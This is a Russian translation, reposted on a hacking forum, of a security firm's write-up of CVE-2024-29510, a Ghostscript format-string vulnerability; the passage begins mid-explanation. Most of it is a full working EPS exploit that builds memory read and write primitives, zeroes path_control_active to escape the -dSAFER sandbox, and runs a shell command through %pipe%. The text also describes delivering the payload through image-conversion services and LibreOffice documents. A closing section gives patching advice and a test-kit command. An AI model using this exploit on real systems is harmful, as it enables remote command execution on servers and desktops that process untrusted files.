Res ArgBytes length 1 sub i sub ArgBytes i get put
} for
Res % возвращаем
} bind def
Не переживайте, если это кажется запутанным, это просто цепочка для автоматизации эксплуатации. С этими примитивами мы можем получить адрес
path_control_active
в Ghostscript, используя цепочку read_dereferenced_ptr
_at и ptr_add_offset
:Код: Скопировать в буфер обмена
Код:
% Используем примитивы для получения: &out->memory->gs_lib_ctx->core->path_control_active
/IdxOutPtr 5 def % Позиция `gp_file *out` в стеке
/PtrOut IdxOutPtr read_ptr_at def
% `memory` находится по смещению 144 в `out`
/PtrOutOffset 144 PtrOut ptr_add_offset def
/PtrMem IdxStackControllable PtrOutOffset read_dereferenced_ptr_at def
% `gs_lib_ctx` находится по смещению 208 в `memory`
/PtrMemOffset 208 PtrMem ptr_add_offset def
/PtrGsLibCtx IdxStackControllable PtrMemOffset read_dereferenced_ptr_at def
% `core` находится по смещению 8 в `gs_lib_ctx`
/PtrGsLibCtxOffset 8 PtrGsLibCtx ptr_add_offset def
/PtrCore IdxStackControllable PtrGsLibCtxOffset read_dereferenced_ptr_at def
% `path_control_active` находится по смещению 156 в `core`
/PtrPathControlActive 156 PtrCore ptr_add_offset def
Теперь у нас есть адрес
path_control_active
. Единственный оставшийся шаг — перезаписать его значением 0. Используя варианты %n
, невозможно записать такое низкое значение напрямую, но мы можем легко обойти это, написав в &path_control_active - 3
, что на платформах с little-endian перезапишет младший значащий байт поля старшим значащим байтом любого (маленького) числа, которое мы записываем, тем самым устанавливая его в ноль. Мы частично испортим другое значение в структуре, но это не кажется важным. Сразу после этого песочница будет отключена, что позволит выполнять команды оболочки через %pipe%
:Код: Скопировать в буфер обмена
Код:
% Вычитаем немного из адреса, чтобы убедиться, что мы записываем ноль в поле
/PtrTarget -3 PtrPathControlActive ptr_add_offset def
% И перезаписываем его!
IdxStackControllable PtrTarget write_to
% И теперь path_control_active == 0, поэтому мы можем использовать %pipe%, как будто -dSAFER никогда не был установлен :)
(%pipe%gnome-calculator) (r) file
видео: https://codeanlabs.com/wp-content/uploads/2024/04/generalized_poc.webm
Завершение эксплуатации
Скачайте полный эксплойт для Linux (x86-64) здесь. Конечно, вы можете изменить команду в конце (gnome-calculator)
по своему усмотрению.код эксплойта
CVE-2024-29510_poc_calc.eps
Код: Скопировать в буфер обмена
Код:
%!PS-Adobe-3.0 EPSF-3.0
%%Pages: 1
%%BoundingBox: 36 36 576 756
%%LanguageLevel: 1
%%EndComments
%%BeginProlog
%%EndProlog
% ====== Configuration ======
% Offset of `gp_file *out` on the stack
/IdxOutPtr 5 def
% ====== General Postscript utility functions ======
% from: https://github.com/scriptituk/pslutils/blob/master/string.ps
/cat {
exch
dup length 2 index length add string
dup dup 5 2 roll
copy length exch putinterval
} bind def
% from: https://rosettacode.org/wiki/Repeat_a_string#PostScript
/times {
dup length dup % rcount ostring olength olength
4 3 roll % ostring olength olength rcount
mul dup string % ostring olength flength fstring
4 1 roll % fstring ostring olength flength
1 sub 0 3 1 roll % fstring ostring 0 olength flength_minus_one
{ % fstring ostring iter
1 index 3 index % fstring ostring iter ostring fstring
3 1 roll % fstring ostring fstring iter ostring
putinterval % fstring ostring
} for
pop % fstring
} def
% Printing helpers
/println { print (\012) print } bind def
/printnumln { =string cvs println } bind def
% ====== Start of exploit helper code ======
% Make a new tempfile but only save its path. This gives us a file path to read/write
% which will exist as long as this script runs. We don't actually use the file object
% (hence `pop`) because we're passing the path to uniprint and reopening it ourselves.
/PathTempFile () (w+) .tempfile pop def
% Convert hex string "4142DEADBEEF" to padded little-endian byte string <EFBEADDE42410000>
% <HexStr> str_ptr_to_le_bytes <ByteStringLE>
/str_ptr_to_le_bytes {
% Convert hex string argument to Postscript string
% using <DEADBEEF> notation
/ArgBytes exch (<) exch (>) cat cat token pop exch pop def
% Prepare resulting string (`string` fills with zeros)
/Res 8 string def
% For every byte in the input
0 1 ArgBytes length 1 sub {
/i exch def
% put byte at index (len(ArgBytes) - 1 - i)
Res ArgBytes length 1 sub i sub ArgBytes i get put
} for
Res % return
} bind def
% <StackString> <FmtString> do_uniprint <LeakedData>
/do_uniprint {
/FmtString exch def
/StackString exch def
% Select uniprint device with our payload
<<
/OutputFile PathTempFile
/OutputDevice /uniprint
/upColorModel /DeviceCMYKgenerate
/upRendering /FSCMYK32
/upOutputFormat /Pcl
/upOutputWidth 99999
/upWriteComponentCommands {(x)(x)(x)(x)} % This is required, just put bogus strings
/upYMoveCommand FmtString
>>
setpagedevice
% Manipulate the interpreter to put a recognizable piece of data on the stack
(%%__) StackString cat .runstring
% Produce a page with some content to trigger uniprint logic
newpath 1 1 moveto 1 2 lineto 1 setlinewidth stroke
showpage
% Read back the written data
/InFile PathTempFile (r) file def
/LeakedData InFile 4096 string readstring pop def
InFile closefile
LeakedData % return
} bind def
% get_index_of_controllable_stack <Idx>
/get_index_of_controllable_stack {
% A recognizable token on the stack to search for
/SearchToken (ABABABAB) def
% Construct "1:%lx,2:%lx,3:%lx,...,400:%lx,"
/FmtString 0 string 1 1 400 { 3 string cvs (:%lx,) cat cat } for def
SearchToken FmtString do_uniprint
% Search for ABABABAB => 4241424142414241 (assume LE)
(4241424142414241) search {
exch pop
exch pop
% <pre> is left
% Search for latest comma in <pre> to get e.g. `123:` as <post>
(,) rsearch pop pop pop
% Search for colon and use <pre> to get `123`
(:) search pop exch pop exch pop
% return as int
cvi
} {
(Could not find our data on the stack.. exiting) println
quit
} ifelse
} bind def
% <StackIdx> <AddrHex> write_to
/write_to {
/AddrHex exch str_ptr_to_le_bytes def % address to write to
/StackIdx exch def % stack idx to use
/FmtString StackIdx 1 sub (%x) times (_%ln) cat def
AddrHex FmtString do_uniprint
pop % we don't care about formatted data
} bind def
% <StackIdx> read_ptr_at <PtrHexStr>
/read_ptr_at {
/StackIdx exch def % stack idx to use
/FmtString StackIdx 1 sub (%x) times (__%lx__) cat def
() FmtString do_uniprint
(__) search pop pop pop (__) search pop exch pop exch pop
} bind def
% num_bytes <= 9
% <StackIdx> <PtrHex> <NumBytes> read_dereferenced_bytes_at <ResultAsMultipliedInt>
/read_dereferenced_bytes_at {
/NumBytes exch def
/PtrHex exch def
/PtrOct PtrHex str_ptr_to_le_bytes def % address to read from
/StackIdx exch def % stack idx to use
/FmtString StackIdx 1 sub (%x) times (__%.) NumBytes 1 string cvs cat (s__) cat cat def
PtrOct FmtString do_uniprint
/Data exch (__) search pop pop pop (__) search pop exch pop exch pop def
% Check if we were able to read all bytes
Data length NumBytes eq {
% Yes we did! So return the integer conversion of the bytes
0 % accumulator
NumBytes 1 sub -1 0 {
exch % <i> <accum>
256 mul exch % <accum*256> <i>
Data exch get % <accum*256> <Data[i]>
add % <accum*256 + Data[i]>
} for
} {
% We did not read all bytes, add a null byte and recurse on addr+1
StackIdx 1 PtrHex ptr_add_offset NumBytes 1 sub read_dereferenced_bytes_at
256 mul
} ifelse
} bind def
% <StackIdx> <AddrHex> read_dereferenced_ptr_at <PtrHexStr>
/read_dereferenced_ptr_at {
% Read 6 bytes
6 read_dereferenced_bytes_at
% Convert to hex string and return
16 12 string cvrs
} bind def
% <Offset> <PtrHexStr> ptr_add_offset <PtrHexStr>
/ptr_add_offset {
/PtrHexStr exch def % hex string pointer
/Offset exch def % integer to add
/PtrNum (16#) PtrHexStr cat cvi def
% base 16, string length 12
PtrNum Offset add 16 12 string cvrs
} bind def
() println
% ====== Start of exploit logic ======
% Find out the index of the controllable bytes
% This is around the 200-300 range but differs per binary/version
/IdxStackControllable get_index_of_controllable_stack def
(Found controllable stack region at index: ) print IdxStackControllable printnumln
% Exploit steps:
% - `gp_file *out` is at stack index `IdxOutPtr`.
%
% - Controllable data is at index `IdxStackControllable`.
%
% - We want to find out the address of:
% out->memory->gs_lib_ctx->core->path_control_active
% hence we need to dereference and add ofsets a few times
%
% - Once we have the address of `path_control_active`, we use
% our write primitive to write an integer to its address - 3
% such that the most significant bytes (zeros) of that integer
% overwrite `path_control_active`, setting it to 0.
%
% - Finally, with `path_control_active` disabled, we can use
% the built-in (normally sandboxed) `%pipe%` functionality to
% run shell commands
/PtrOut IdxOutPtr read_ptr_at def
(out: 0x) PtrOut cat println
% memory is at offset 144 in out
/PtrOutOffset 144 PtrOut ptr_add_offset def
/PtrMem IdxStackControllable PtrOutOffset read_dereferenced_ptr_at def
(out->mem: 0x) PtrMem cat println
% gs_lib_ctx is at offset 208 in memory
/PtrMemOffset 208 PtrMem ptr_add_offset def
/PtrGsLibCtx IdxStackControllable PtrMemOffset read_dereferenced_ptr_at def
(out->mem->gs_lib_ctx: 0x) PtrGsLibCtx cat println
% core is at offset 8 in gs_lib_ctx
/PtrGsLibCtxOffset 8 PtrGsLibCtx ptr_add_offset def
/PtrCore IdxStackControllable PtrGsLibCtxOffset read_dereferenced_ptr_at def
(out->mem->gs_lib_ctx->core: 0x) PtrCore cat println
% path_control_active is at offset 156 in core
/PtrPathControlActive 156 PtrCore ptr_add_offset def
(out->mem->gs_lib_ctx->core->path_control_active: 0x) PtrPathControlActive cat println
% Subtract a bit from the address to make sure we write a null over the field
/PtrTarget -3 PtrPathControlActive ptr_add_offset def
% And overwrite it!
IdxStackControllable PtrTarget write_to
% And now `path_control_active` == 0, so we can use %pipe%
(%pipe%gnome-calculator) (r) file
quit
Код эксплойта также является допустимым EPS файлом, поэтому его можно загрузить в сервисы конвертации изображений, которые принимают EPS и вызывают Ghostscript. Кроме того, мы можем встроить его в файл LibreOffice, вызывая выполнение команды при открытии файла, как на сервере через headless
libreoffice-convert
, так и на рабочем столе:видео : https://codeanlabs.com/wp-content/uploads/2024/04/embedded_in_libreoffice.webm
Меры предосторожности
В Codean Labs мы понимаем, как сложно отслеживать такие зависимости и связанные с ними риски. Нам приятно снять это бремя с ваших плеч. Мы проводим оценку безопасности приложений эффективно, тщательно и человеческим способом, позволяя вам сосредоточиться на разработке. Нажмите здесь, чтобы узнать больше.Наилучшей мерой против этой уязвимости является обновление вашей установки Ghostscript до версии 10.03.1. Если ваша дистрибуция не предоставляет последнюю версию Ghostscript, возможно, она все же выпустила патч с исправлением этой уязвимости (например, Debian, Ubuntu, Fedora).
Если вы не уверены, затронула ли вас эта уязвимость, мы предоставляем тестовый набор: небольшой Postscript файл, который покажет, затронута ли ваша версия Ghostscript. Скачайте его здесь и выполните следующую команду:
Bash: Скопировать в буфер обмена
ghostscript -q -dNODISPLAY -dBATCH CVE-2024-29510_testkit.ps
Переведено: blackhunt
Специально для: XSS.is
Источник: https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/